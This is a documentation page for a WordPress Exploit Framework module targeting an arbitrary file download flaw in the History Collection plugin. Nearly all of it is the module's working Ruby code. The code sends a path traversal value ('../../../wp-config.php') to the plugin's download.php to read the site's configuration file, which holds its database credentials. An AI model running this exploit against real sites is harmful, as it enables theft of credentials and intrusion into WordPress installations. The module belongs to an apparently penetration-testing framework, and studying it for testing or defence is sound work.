class Wpxf::Auxiliary::HistoryCollectionArbitraryFileDownload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb, line 6 def initialize super update_info( name: 'History Collection Arbitrary File Download', author: [ "Kuroi'SH", # Disclosure 'rastating' # WPXF module ], references: [ ['EDB', '37254'] ], date: 'Jun 06 2015' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb, line 22 def check check_plugin_version_from_readme('history-collection') end
default_remote_file_path()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb, line 26 def default_remote_file_path '../../../wp-config.php' end
download_request_params()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb, line 38 def download_request_params { 'var' => remote_file } end
downloader_url()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb, line 34 def downloader_url normalize_uri(wordpress_url_plugins, 'history-collection', 'download.php') end
validate_content(content)
click to toggle source
Calls superclass method
Wpxf::WordPress::FileDownload#validate_content
# File lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb, line 42 def validate_content(content) if content.match?(/ERROR: File not found/i) emit_error 'The remote file could not be found' return false end super end
working_directory()
click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/history_collection_arbitrary_file_download.rb, line 30 def working_directory 'wp-content/plugins/history-collection/' end